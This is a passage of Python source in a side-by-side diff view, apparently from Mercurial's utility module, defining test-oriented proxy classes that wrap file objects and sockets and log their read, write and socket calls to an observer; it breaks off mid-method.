407 def _fillbuffer(self, size=_chunksize):
417 def _fillbuffer(self, size=_chunksize):
408 """read data to the buffer"""
418 """read data to the buffer"""
409 data = os.read(self._input.fileno(), size)
419 data = os.read(self._input.fileno(), size)
410 if not data:
420 if not data:
411 self._eof = True
421 self._eof = True
412 else:
422 else:
413 self._lenbuf += len(data)
423 self._lenbuf += len(data)
414 self._buffer.append(data)
424 self._buffer.append(data)
415
425
416 return data
426 return data
417
427
418
428
419 def mmapread(fp, size=None):
429 def mmapread(fp, size=None):
420 if size == 0:
430 if size == 0:
421 # size of 0 to mmap.mmap() means "all data"
431 # size of 0 to mmap.mmap() means "all data"
422 # rather than "zero bytes", so special case that.
432 # rather than "zero bytes", so special case that.
423 return b''
433 return b''
424 elif size is None:
434 elif size is None:
425 size = 0
435 size = 0
426 try:
436 try:
427 fd = getattr(fp, 'fileno', lambda: fp)()
437 fd = getattr(fp, 'fileno', lambda: fp)()
428 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
438 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
429 except ValueError:
439 except ValueError:
430 # Empty files cannot be mmapped, but mmapread should still work. Check
440 # Empty files cannot be mmapped, but mmapread should still work. Check
431 # if the file is empty, and if so, return an empty buffer.
441 # if the file is empty, and if so, return an empty buffer.
432 if os.fstat(fd).st_size == 0:
442 if os.fstat(fd).st_size == 0:
433 return b''
443 return b''
434 raise
444 raise
435
445
436
446
437 class fileobjectproxy(object):
447 class fileobjectproxy(object):
438 """A proxy around file objects that tells a watcher when events occur.
448 """A proxy around file objects that tells a watcher when events occur.
439
449
440 This type is intended to only be used for testing purposes. Think hard
450 This type is intended to only be used for testing purposes. Think hard
441 before using it in important code.
451 before using it in important code.
442 """
452 """
443
453
444 __slots__ = (
454 __slots__ = (
445 '_orig',
455 '_orig',
446 '_observer',
456 '_observer',
447 )
457 )
448
458
449 def __init__(self, fh, observer):
459 def __init__(self, fh, observer):
450 object.__setattr__(self, '_orig', fh)
460 object.__setattr__(self, '_orig', fh)
451 object.__setattr__(self, '_observer', observer)
461 object.__setattr__(self, '_observer', observer)
452
462
453 def __getattribute__(self, name):
463 def __getattribute__(self, name):
454 ours = {
464 ours = {
455 '_observer',
465 '_observer',
456 # IOBase
466 # IOBase
457 'close',
467 'close',
458 # closed if a property
468 # closed if a property
459 'fileno',
469 'fileno',
460 'flush',
470 'flush',
461 'isatty',
471 'isatty',
462 'readable',
472 'readable',
463 'readline',
473 'readline',
464 'readlines',
474 'readlines',
465 'seek',
475 'seek',
466 'seekable',
476 'seekable',
467 'tell',
477 'tell',
468 'truncate',
478 'truncate',
469 'writable',
479 'writable',
470 'writelines',
480 'writelines',
471 # RawIOBase
481 # RawIOBase
472 'read',
482 'read',
473 'readall',
483 'readall',
474 'readinto',
484 'readinto',
475 'write',
485 'write',
476 # BufferedIOBase
486 # BufferedIOBase
477 # raw is a property
487 # raw is a property
478 'detach',
488 'detach',
479 # read defined above
489 # read defined above
480 'read1',
490 'read1',
481 # readinto defined above
491 # readinto defined above
482 # write defined above
492 # write defined above
483 }
493 }
484
494
485 # We only observe some methods.
495 # We only observe some methods.
486 if name in ours:
496 if name in ours:
487 return object.__getattribute__(self, name)
497 return object.__getattribute__(self, name)
488
498
489 return getattr(object.__getattribute__(self, '_orig'), name)
499 return getattr(object.__getattribute__(self, '_orig'), name)
490
500
491 def __nonzero__(self):
501 def __nonzero__(self):
492 return bool(object.__getattribute__(self, '_orig'))
502 return bool(object.__getattribute__(self, '_orig'))
493
503
494 __bool__ = __nonzero__
504 __bool__ = __nonzero__
495
505
496 def __delattr__(self, name):
506 def __delattr__(self, name):
497 return delattr(object.__getattribute__(self, '_orig'), name)
507 return delattr(object.__getattribute__(self, '_orig'), name)
498
508
499 def __setattr__(self, name, value):
509 def __setattr__(self, name, value):
500 return setattr(object.__getattribute__(self, '_orig'), name, value)
510 return setattr(object.__getattribute__(self, '_orig'), name, value)
501
511
502 def __iter__(self):
512 def __iter__(self):
503 return object.__getattribute__(self, '_orig').__iter__()
513 return object.__getattribute__(self, '_orig').__iter__()
504
514
505 def _observedcall(self, name, *args, **kwargs):
515 def _observedcall(self, name, *args, **kwargs):
506 # Call the original object.
516 # Call the original object.
507 orig = object.__getattribute__(self, '_orig')
517 orig = object.__getattribute__(self, '_orig')
508 res = getattr(orig, name)(*args, **kwargs)
518 res = getattr(orig, name)(*args, **kwargs)
509
519
510 # Call a method on the observer of the same name with arguments
520 # Call a method on the observer of the same name with arguments
511 # so it can react, log, etc.
521 # so it can react, log, etc.
512 observer = object.__getattribute__(self, '_observer')
522 observer = object.__getattribute__(self, '_observer')
513 fn = getattr(observer, name, None)
523 fn = getattr(observer, name, None)
514 if fn:
524 if fn:
515 fn(res, *args, **kwargs)
525 fn(res, *args, **kwargs)
516
526
517 return res
527 return res
518
528
519 def close(self, *args, **kwargs):
529 def close(self, *args, **kwargs):
520 return object.__getattribute__(self, '_observedcall')(
530 return object.__getattribute__(self, '_observedcall')(
521 'close', *args, **kwargs
531 'close', *args, **kwargs
522 )
532 )
523
533
524 def fileno(self, *args, **kwargs):
534 def fileno(self, *args, **kwargs):
525 return object.__getattribute__(self, '_observedcall')(
535 return object.__getattribute__(self, '_observedcall')(
526 'fileno', *args, **kwargs
536 'fileno', *args, **kwargs
527 )
537 )
528
538
529 def flush(self, *args, **kwargs):
539 def flush(self, *args, **kwargs):
530 return object.__getattribute__(self, '_observedcall')(
540 return object.__getattribute__(self, '_observedcall')(
531 'flush', *args, **kwargs
541 'flush', *args, **kwargs
532 )
542 )
533
543
534 def isatty(self, *args, **kwargs):
544 def isatty(self, *args, **kwargs):
535 return object.__getattribute__(self, '_observedcall')(
545 return object.__getattribute__(self, '_observedcall')(
536 'isatty', *args, **kwargs
546 'isatty', *args, **kwargs
537 )
547 )
538
548
539 def readable(self, *args, **kwargs):
549 def readable(self, *args, **kwargs):
540 return object.__getattribute__(self, '_observedcall')(
550 return object.__getattribute__(self, '_observedcall')(
541 'readable', *args, **kwargs
551 'readable', *args, **kwargs
542 )
552 )
543
553
544 def readline(self, *args, **kwargs):
554 def readline(self, *args, **kwargs):
545 return object.__getattribute__(self, '_observedcall')(
555 return object.__getattribute__(self, '_observedcall')(
546 'readline', *args, **kwargs
556 'readline', *args, **kwargs
547 )
557 )
548
558
549 def readlines(self, *args, **kwargs):
559 def readlines(self, *args, **kwargs):
550 return object.__getattribute__(self, '_observedcall')(
560 return object.__getattribute__(self, '_observedcall')(
551 'readlines', *args, **kwargs
561 'readlines', *args, **kwargs
552 )
562 )
553
563
554 def seek(self, *args, **kwargs):
564 def seek(self, *args, **kwargs):
555 return object.__getattribute__(self, '_observedcall')(
565 return object.__getattribute__(self, '_observedcall')(
556 'seek', *args, **kwargs
566 'seek', *args, **kwargs
557 )
567 )
558
568
559 def seekable(self, *args, **kwargs):
569 def seekable(self, *args, **kwargs):
560 return object.__getattribute__(self, '_observedcall')(
570 return object.__getattribute__(self, '_observedcall')(
561 'seekable', *args, **kwargs
571 'seekable', *args, **kwargs
562 )
572 )
563
573
564 def tell(self, *args, **kwargs):
574 def tell(self, *args, **kwargs):
565 return object.__getattribute__(self, '_observedcall')(
575 return object.__getattribute__(self, '_observedcall')(
566 'tell', *args, **kwargs
576 'tell', *args, **kwargs
567 )
577 )
568
578
569 def truncate(self, *args, **kwargs):
579 def truncate(self, *args, **kwargs):
570 return object.__getattribute__(self, '_observedcall')(
580 return object.__getattribute__(self, '_observedcall')(
571 'truncate', *args, **kwargs
581 'truncate', *args, **kwargs
572 )
582 )
573
583
574 def writable(self, *args, **kwargs):
584 def writable(self, *args, **kwargs):
575 return object.__getattribute__(self, '_observedcall')(
585 return object.__getattribute__(self, '_observedcall')(
576 'writable', *args, **kwargs
586 'writable', *args, **kwargs
577 )
587 )
578
588
579 def writelines(self, *args, **kwargs):
589 def writelines(self, *args, **kwargs):
580 return object.__getattribute__(self, '_observedcall')(
590 return object.__getattribute__(self, '_observedcall')(
581 'writelines', *args, **kwargs
591 'writelines', *args, **kwargs
582 )
592 )
583
593
584 def read(self, *args, **kwargs):
594 def read(self, *args, **kwargs):
585 return object.__getattribute__(self, '_observedcall')(
595 return object.__getattribute__(self, '_observedcall')(
586 'read', *args, **kwargs
596 'read', *args, **kwargs
587 )
597 )
588
598
589 def readall(self, *args, **kwargs):
599 def readall(self, *args, **kwargs):
590 return object.__getattribute__(self, '_observedcall')(
600 return object.__getattribute__(self, '_observedcall')(
591 'readall', *args, **kwargs
601 'readall', *args, **kwargs
592 )
602 )
593
603
594 def readinto(self, *args, **kwargs):
604 def readinto(self, *args, **kwargs):
595 return object.__getattribute__(self, '_observedcall')(
605 return object.__getattribute__(self, '_observedcall')(
596 'readinto', *args, **kwargs
606 'readinto', *args, **kwargs
597 )
607 )
598
608
599 def write(self, *args, **kwargs):
609 def write(self, *args, **kwargs):
600 return object.__getattribute__(self, '_observedcall')(
610 return object.__getattribute__(self, '_observedcall')(
601 'write', *args, **kwargs
611 'write', *args, **kwargs
602 )
612 )
603
613
604 def detach(self, *args, **kwargs):
614 def detach(self, *args, **kwargs):
605 return object.__getattribute__(self, '_observedcall')(
615 return object.__getattribute__(self, '_observedcall')(
606 'detach', *args, **kwargs
616 'detach', *args, **kwargs
607 )
617 )
608
618
609 def read1(self, *args, **kwargs):
619 def read1(self, *args, **kwargs):
610 return object.__getattribute__(self, '_observedcall')(
620 return object.__getattribute__(self, '_observedcall')(
611 'read1', *args, **kwargs
621 'read1', *args, **kwargs
612 )
622 )
613
623
614
624
615 class observedbufferedinputpipe(bufferedinputpipe):
625 class observedbufferedinputpipe(bufferedinputpipe):
616 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
626 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
617
627
618 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
628 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
619 bypass ``fileobjectproxy``. Because of this, we need to make
629 bypass ``fileobjectproxy``. Because of this, we need to make
620 ``bufferedinputpipe`` aware of these operations.
630 ``bufferedinputpipe`` aware of these operations.
621
631
622 This variation of ``bufferedinputpipe`` can notify observers about
632 This variation of ``bufferedinputpipe`` can notify observers about
623 ``os.read()`` events. It also re-publishes other events, such as
633 ``os.read()`` events. It also re-publishes other events, such as
624 ``read()`` and ``readline()``.
634 ``read()`` and ``readline()``.
625 """
635 """
626
636
627 def _fillbuffer(self):
637 def _fillbuffer(self):
628 res = super(observedbufferedinputpipe, self)._fillbuffer()
638 res = super(observedbufferedinputpipe, self)._fillbuffer()
629
639
630 fn = getattr(self._input._observer, 'osread', None)
640 fn = getattr(self._input._observer, 'osread', None)
631 if fn:
641 if fn:
632 fn(res, _chunksize)
642 fn(res, _chunksize)
633
643
634 return res
644 return res
635
645
636 # We use different observer methods because the operation isn't
646 # We use different observer methods because the operation isn't
637 # performed on the actual file object but on us.
647 # performed on the actual file object but on us.
638 def read(self, size):
648 def read(self, size):
639 res = super(observedbufferedinputpipe, self).read(size)
649 res = super(observedbufferedinputpipe, self).read(size)
640
650
641 fn = getattr(self._input._observer, 'bufferedread', None)
651 fn = getattr(self._input._observer, 'bufferedread', None)
642 if fn:
652 if fn:
643 fn(res, size)
653 fn(res, size)
644
654
645 return res
655 return res
646
656
647 def readline(self, *args, **kwargs):
657 def readline(self, *args, **kwargs):
648 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
658 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
649
659
650 fn = getattr(self._input._observer, 'bufferedreadline', None)
660 fn = getattr(self._input._observer, 'bufferedreadline', None)
651 if fn:
661 if fn:
652 fn(res)
662 fn(res)
653
663
654 return res
664 return res
655
665
656
666
657 PROXIED_SOCKET_METHODS = {
667 PROXIED_SOCKET_METHODS = {
658 'makefile',
668 'makefile',
659 'recv',
669 'recv',
660 'recvfrom',
670 'recvfrom',
661 'recvfrom_into',
671 'recvfrom_into',
662 'recv_into',
672 'recv_into',
663 'send',
673 'send',
664 'sendall',
674 'sendall',
665 'sendto',
675 'sendto',
666 'setblocking',
676 'setblocking',
667 'settimeout',
677 'settimeout',
668 'gettimeout',
678 'gettimeout',
669 'setsockopt',
679 'setsockopt',
670 }
680 }
671
681
672
682
673 class socketproxy(object):
683 class socketproxy(object):
674 """A proxy around a socket that tells a watcher when events occur.
684 """A proxy around a socket that tells a watcher when events occur.
675
685
676 This is like ``fileobjectproxy`` except for sockets.
686 This is like ``fileobjectproxy`` except for sockets.
677
687
678 This type is intended to only be used for testing purposes. Think hard
688 This type is intended to only be used for testing purposes. Think hard
679 before using it in important code.
689 before using it in important code.
680 """
690 """
681
691
682 __slots__ = (
692 __slots__ = (
683 '_orig',
693 '_orig',
684 '_observer',
694 '_observer',
685 )
695 )
686
696
687 def __init__(self, sock, observer):
697 def __init__(self, sock, observer):
688 object.__setattr__(self, '_orig', sock)
698 object.__setattr__(self, '_orig', sock)
689 object.__setattr__(self, '_observer', observer)
699 object.__setattr__(self, '_observer', observer)
690
700
691 def __getattribute__(self, name):
701 def __getattribute__(self, name):
692 if name in PROXIED_SOCKET_METHODS:
702 if name in PROXIED_SOCKET_METHODS:
693 return object.__getattribute__(self, name)
703 return object.__getattribute__(self, name)
694
704
695 return getattr(object.__getattribute__(self, '_orig'), name)
705 return getattr(object.__getattribute__(self, '_orig'), name)
696
706
697 def __delattr__(self, name):
707 def __delattr__(self, name):
698 return delattr(object.__getattribute__(self, '_orig'), name)
708 return delattr(object.__getattribute__(self, '_orig'), name)
699
709
700 def __setattr__(self, name, value):
710 def __setattr__(self, name, value):
701 return setattr(object.__getattribute__(self, '_orig'), name, value)
711 return setattr(object.__getattribute__(self, '_orig'), name, value)
702
712
703 def __nonzero__(self):
713 def __nonzero__(self):
704 return bool(object.__getattribute__(self, '_orig'))
714 return bool(object.__getattribute__(self, '_orig'))
705
715
706 __bool__ = __nonzero__
716 __bool__ = __nonzero__
707
717
708 def _observedcall(self, name, *args, **kwargs):
718 def _observedcall(self, name, *args, **kwargs):
709 # Call the original object.
719 # Call the original object.
710 orig = object.__getattribute__(self, '_orig')
720 orig = object.__getattribute__(self, '_orig')
711 res = getattr(orig, name)(*args, **kwargs)
721 res = getattr(orig, name)(*args, **kwargs)
712
722
713 # Call a method on the observer of the same name with arguments
723 # Call a method on the observer of the same name with arguments
714 # so it can react, log, etc.
724 # so it can react, log, etc.
715 observer = object.__getattribute__(self, '_observer')
725 observer = object.__getattribute__(self, '_observer')
716 fn = getattr(observer, name, None)
726 fn = getattr(observer, name, None)
717 if fn:
727 if fn:
718 fn(res, *args, **kwargs)
728 fn(res, *args, **kwargs)
719
729
720 return res
730 return res
721
731
722 def makefile(self, *args, **kwargs):
732 def makefile(self, *args, **kwargs):
723 res = object.__getattribute__(self, '_observedcall')(
733 res = object.__getattribute__(self, '_observedcall')(
724 'makefile', *args, **kwargs
734 'makefile', *args, **kwargs
725 )
735 )
726
736
727 # The file object may be used for I/O. So we turn it into a
737 # The file object may be used for I/O. So we turn it into a
728 # proxy using our observer.
738 # proxy using our observer.
729 observer = object.__getattribute__(self, '_observer')
739 observer = object.__getattribute__(self, '_observer')
730 return makeloggingfileobject(
740 return makeloggingfileobject(
731 observer.fh,
741 observer.fh,
732 res,
742 res,
733 observer.name,
743 observer.name,
734 reads=observer.reads,
744 reads=observer.reads,
735 writes=observer.writes,
745 writes=observer.writes,
736 logdata=observer.logdata,
746 logdata=observer.logdata,
737 logdataapis=observer.logdataapis,
747 logdataapis=observer.logdataapis,
738 )
748 )
739
749
740 def recv(self, *args, **kwargs):
750 def recv(self, *args, **kwargs):
741 return object.__getattribute__(self, '_observedcall')(
751 return object.__getattribute__(self, '_observedcall')(
742 'recv', *args, **kwargs
752 'recv', *args, **kwargs
743 )
753 )
744
754
745 def recvfrom(self, *args, **kwargs):
755 def recvfrom(self, *args, **kwargs):
746 return object.__getattribute__(self, '_observedcall')(
756 return object.__getattribute__(self, '_observedcall')(
747 'recvfrom', *args, **kwargs
757 'recvfrom', *args, **kwargs
748 )
758 )
749
759
750 def recvfrom_into(self, *args, **kwargs):
760 def recvfrom_into(self, *args, **kwargs):
751 return object.__getattribute__(self, '_observedcall')(
761 return object.__getattribute__(self, '_observedcall')(
752 'recvfrom_into', *args, **kwargs
762 'recvfrom_into', *args, **kwargs
753 )
763 )
754
764
755 def recv_into(self, *args, **kwargs):
765 def recv_into(self, *args, **kwargs):
756 return object.__getattribute__(self, '_observedcall')(
766 return object.__getattribute__(self, '_observedcall')(
757 'recv_info', *args, **kwargs
767 'recv_info', *args, **kwargs
758 )
768 )
759
769
760 def send(self, *args, **kwargs):
770 def send(self, *args, **kwargs):
761 return object.__getattribute__(self, '_observedcall')(
771 return object.__getattribute__(self, '_observedcall')(
762 'send', *args, **kwargs
772 'send', *args, **kwargs
763 )
773 )
764
774
765 def sendall(self, *args, **kwargs):
775 def sendall(self, *args, **kwargs):
766 return object.__getattribute__(self, '_observedcall')(
776 return object.__getattribute__(self, '_observedcall')(
767 'sendall', *args, **kwargs
777 'sendall', *args, **kwargs
768 )
778 )
769
779
770 def sendto(self, *args, **kwargs):
780 def sendto(self, *args, **kwargs):
771 return object.__getattribute__(self, '_observedcall')(
781 return object.__getattribute__(self, '_observedcall')(
772 'sendto', *args, **kwargs
782 'sendto', *args, **kwargs
773 )
783 )
774
784
775 def setblocking(self, *args, **kwargs):
785 def setblocking(self, *args, **kwargs):
776 return object.__getattribute__(self, '_observedcall')(
786 return object.__getattribute__(self, '_observedcall')(
777 'setblocking', *args, **kwargs
787 'setblocking', *args, **kwargs
778 )
788 )
779
789
780 def settimeout(self, *args, **kwargs):
790 def settimeout(self, *args, **kwargs):
781 return object.__getattribute__(self, '_observedcall')(
791 return object.__getattribute__(self, '_observedcall')(
782 'settimeout', *args, **kwargs
792 'settimeout', *args, **kwargs
783 )
793 )
784
794
785 def gettimeout(self, *args, **kwargs):
795 def gettimeout(self, *args, **kwargs):
786 return object.__getattribute__(self, '_observedcall')(
796 return object.__getattribute__(self, '_observedcall')(
787 'gettimeout', *args, **kwargs
797 'gettimeout', *args, **kwargs
788 )
798 )
789
799
790 def setsockopt(self, *args, **kwargs):
800 def setsockopt(self, *args, **kwargs):
791 return object.__getattribute__(self, '_observedcall')(
801 return object.__getattribute__(self, '_observedcall')(
792 'setsockopt', *args, **kwargs
802 'setsockopt', *args, **kwargs
793 )
803 )
794
804
795
805
796 class baseproxyobserver(object):
806 class baseproxyobserver(object):
797 def __init__(self, fh, name, logdata, logdataapis):
807 def __init__(self, fh, name, logdata, logdataapis):
798 self.fh = fh
808 self.fh = fh
799 self.name = name
809 self.name = name
800 self.logdata = logdata
810 self.logdata = logdata
801 self.logdataapis = logdataapis
811 self.logdataapis = logdataapis
802
812
803 def _writedata(self, data):
813 def _writedata(self, data):
804 if not self.logdata:
814 if not self.logdata:
805 if self.logdataapis:
815 if self.logdataapis:
806 self.fh.write(b'\n')
816 self.fh.write(b'\n')
807 self.fh.flush()
817 self.fh.flush()
808 return
818 return
809
819
810 # Simple case writes all data on a single line.
820 # Simple case writes all data on a single line.
811 if b'\n' not in data:
821 if b'\n' not in data:
812 if self.logdataapis:
822 if self.logdataapis:
813 self.fh.write(b': %s\n' % stringutil.escapestr(data))
823 self.fh.write(b': %s\n' % stringutil.escapestr(data))
814 else:
824 else:
815 self.fh.write(
825 self.fh.write(
816 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
826 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
817 )
827 )
818 self.fh.flush()
828 self.fh.flush()
819 return
829 return
820
830
821 # Data with newlines is written to multiple lines.
831 # Data with newlines is written to multiple lines.
822 if self.logdataapis:
832 if self.logdataapis:
823 self.fh.write(b':\n')
833 self.fh.write(b':\n')
824
834
825 lines = data.splitlines(True)
835 lines = data.splitlines(True)
826 for line in lines:
836 for line in lines:
827 self.fh.write(
837 self.fh.write(
828 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
838 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
829 )
839 )
830 self.fh.flush()
840 self.fh.flush()
831
841
832
842
833 class fileobjectobserver(baseproxyobserver):
843 class fileobjectobserver(baseproxyobserver):
834 """Logs file object activity."""
844 """Logs file object activity."""
835
845
836 def __init__(
846 def __init__(
837 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
847 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
838 ):
848 ):
839 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
849 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
840 self.reads = reads
850 self.reads = reads
841 self.writes = writes
851 self.writes = writes
842
852
843 def read(self, res, size=-1):
853 def read(self, res, size=-1):
844 if not self.reads:
854 if not self.reads:
845 return
855 return
846 # Python 3 can return None from reads at EOF instead of empty strings.
856 # Python 3 can return None from reads at EOF instead of empty strings.
847 if res is None:
857 if res is None:
848 res = b''
858 res = b''
849
859
850 if size == -1 and res == b'':
860 if size == -1 and res == b'':
851 # Suppress pointless read(-1) calls that return
861 # Suppress pointless read(-1) calls that return
852 # nothing. These happen _a lot_ on Python 3, and there
862 # nothing. These happen _a lot_ on Python 3, and there
853 # doesn't seem to be a better workaround to have matching
863 # doesn't seem to be a better workaround to have matching
854 # Python 2 and 3 behavior. :(
864 # Python 2 and 3 behavior. :(
855 return
865 return
856
866
857 if self.logdataapis:
867 if self.logdataapis:
858 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
868 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
859
869
860 self._writedata(res)
870 self._writedata(res)
861
871
862 def readline(self, res, limit=-1):
872 def readline(self, res, limit=-1):
863 if not self.reads:
873 if not self.reads:
864 return
874 return
865
875
866 if self.logdataapis:
876 if self.logdataapis:
867 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
877 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
868
878
869 self._writedata(res)
879 self._writedata(res)
870
880
871 def readinto(self, res, dest):
881 def readinto(self, res, dest):
872 if not self.reads:
882 if not self.reads:
873 return
883 return
874
884
875 if self.logdataapis:
885 if self.logdataapis:
876 self.fh.write(
886 self.fh.write(
877 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
887 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
878 )
888 )
879
889
880 data = dest[0:res] if res is not None else b''
890 data = dest[0:res] if res is not None else b''
881
891
882 # _writedata() uses "in" operator and is confused by memoryview because
892 # _writedata() uses "in" operator and is confused by memoryview because
883 # characters are ints on Python 3.
893 # characters are ints on Python 3.
884 if isinstance(data, memoryview):
894 if isinstance(data, memoryview):
885 data = data.tobytes()
895 data = data.tobytes()
886
896
887 self._writedata(data)
897 self._writedata(data)
888
898
889 def write(self, res, data):
899 def write(self, res, data):
890 if not self.writes:
900 if not self.writes:
891 return
901 return
892
902
893 # Python 2 returns None from some write() calls. Python 3 (reasonably)
903 # Python 2 returns None from some write() calls. Python 3 (reasonably)
894 # returns the integer bytes written.
904 # returns the integer bytes written.
895 if res is None and data:
905 if res is None and data:
896 res = len(data)
906 res = len(data)
897
907
898 if self.logdataapis:
908 if self.logdataapis:
899 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
909 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
900
910
901 self._writedata(data)
911 self._writedata(data)
902
912
903 def flush(self, res):
913 def flush(self, res):
904 if not self.writes:
914 if not self.writes:
905 return
915 return
906
916
907 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
917 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
908
918
909 # For observedbufferedinputpipe.
919 # For observedbufferedinputpipe.
910 def bufferedread(self, res, size):
920 def bufferedread(self, res, size):
911 if not self.reads:
921 if not self.reads:
912 return
922 return
913
923
914 if self.logdataapis:
924 if self.logdataapis:
915 self.fh.write(
925 self.fh.write(
916 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
926 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
917 )
927 )
918
928
919 self._writedata(res)
929 self._writedata(res)
920
930
921 def bufferedreadline(self, res):
931 def bufferedreadline(self, res):
922 if not self.reads:
932 if not self.reads:
923 return
933 return
924
934
925 if self.logdataapis:
935 if self.logdataapis:
926 self.fh.write(
936 self.fh.write(
927 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
937 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
928 )
938 )
929
939
930 self._writedata(res)
940 self._writedata(res)
931
941
932
942
933 def makeloggingfileobject(
943 def makeloggingfileobject(
934 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
944 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
935 ):
945 ):
936 """Turn a file object into a logging file object."""
946 """Turn a file object into a logging file object."""
937
947
938 observer = fileobjectobserver(
948 observer = fileobjectobserver(
939 logh,
949 logh,
940 name,
950 name,
941 reads=reads,
951 reads=reads,
942 writes=writes,
952 writes=writes,
943 logdata=logdata,
953 logdata=logdata,
944 logdataapis=logdataapis,
954 logdataapis=logdataapis,
945 )
955 )
946 return fileobjectproxy(fh, observer)
956 return fileobjectproxy(fh, observer)
947
957
948
958
949 class socketobserver(baseproxyobserver):
959 class socketobserver(baseproxyobserver):
950 """Logs socket activity."""
960 """Logs socket activity."""
951
961
952 def __init__(
962 def __init__(
953 self,
963 self,
954 fh,
964 fh,
955 name,
965 name,
956 reads=True,
966 reads=True,
957 writes=True,
967 writes=True,
958 states=True,
968 states=True,
959 logdata=False,
969 logdata=False,
960 logdataapis=True,
970 logdataapis=True,
961 ):
971 ):
962 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
972 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
963 self.reads = reads
973 self.reads = reads
964 self.writes = writes
974 self.writes = writes
965 self.states = states
975 self.states = states
966
976
967 def makefile(self, res, mode=None, bufsize=None):
977 def makefile(self, res, mode=None, bufsize=None):
968 if not self.states:
978 if not self.states:
969 return
979 return
970
980
971 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
981 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
972
982
973 def recv(self, res, size, flags=0):
983 def recv(self, res, size, flags=0):
974 if not self.reads:
984 if not self.reads:
975 return
985 return
976
986
977 if self.logdataapis:
987 if self.logdataapis:
978 self.fh.write(
988 self.fh.write(
979 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
989 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
980 )
990 )
981 self._writedata(res)
991 self._writedata(res)
982
992
983 def recvfrom(self, res, size, flags=0):
993 def recvfrom(self, res, size, flags=0):
984 if not self.reads:
994 if not self.reads:
985 return
995 return
986
996
987 if self.logdataapis:
997 if self.logdataapis:
988 self.fh.write(
998 self.fh.write(
989 b'%s> recvfrom(%d, %d) -> %d'
999 b'%s> recvfrom(%d, %d) -> %d'
990 % (self.name, size, flags, len(res[0]))
1000 % (self.name, size, flags, len(res[0]))
991 )
1001 )
992
1002
993 self._writedata(res[0])
1003 self._writedata(res[0])
994
1004
995 def recvfrom_into(self, res, buf, size, flags=0):
1005 def recvfrom_into(self, res, buf, size, flags=0):
996 if not self.reads:
1006 if not self.reads:
997 return
1007 return
998
1008
999 if self.logdataapis:
1009 if self.logdataapis:
1000 self.fh.write(
1010 self.fh.write(
1001 b'%s> recvfrom_into(%d, %d) -> %d'
1011 b'%s> recvfrom_into(%d, %d) -> %d'
1002 % (self.name, size, flags, res[0])
1012 % (self.name, size, flags, res[0])
1003 )
1013 )
1004
1014
1005 self._writedata(buf[0 : res[0]])
1015 self._writedata(buf[0 : res[0]])
1006
1016
1007 def recv_into(self, res, buf, size=0, flags=0):
1017 def recv_into(self, res, buf, size=0, flags=0):
1008 if not self.reads:
1018 if not self.reads:
1009 return
1019 return
1010
1020
1011 if self.logdataapis:
1021 if self.logdataapis:
1012 self.fh.write(
1022 self.fh.write(
1013 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1023 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1014 )
1024 )
1015
1025
1016 self._writedata(buf[0:res])
1026 self._writedata(buf[0:res])
1017
1027
1018 def send(self, res, data, flags=0):
1028 def send(self, res, data, flags=0):
1019 if not self.writes:
1029 if not self.writes:
1020 return
1030 return
1021
1031
1022 self.fh.write(
1032 self.fh.write(
1023 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1033 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1024 )
1034 )
1025 self._writedata(data)
1035 self._writedata(data)
1026
1036
1027 def sendall(self, res, data, flags=0):
1037 def sendall(self, res, data, flags=0):
1028 if not self.writes:
1038 if not self.writes:
1029 return
1039 return
1030
1040
1031 if self.logdataapis:
1041 if self.logdataapis:
1032 # Returns None on success. So don't bother reporting return value.
1042 # Returns None on success. So don't bother reporting return value.
1033 self.fh.write(
1043 self.fh.write(
1034 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1044 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1035 )
1045 )
1036
1046
1037 self._writedata(data)
1047 self._writedata(data)
1038
1048
1039 def sendto(self, res, data, flagsoraddress, address=None):
1049 def sendto(self, res, data, flagsoraddress, address=None):
1040 if not self.writes:
1050 if not self.writes:
1041 return
1051 return
1042
1052
1043 if address:
1053 if address:
1044 flags = flagsoraddress
1054 flags = flagsoraddress
1045 else:
1055 else:
1046 flags = 0
1056 flags = 0
1047
1057
1048 if self.logdataapis:
1058 if self.logdataapis:
1049 self.fh.write(
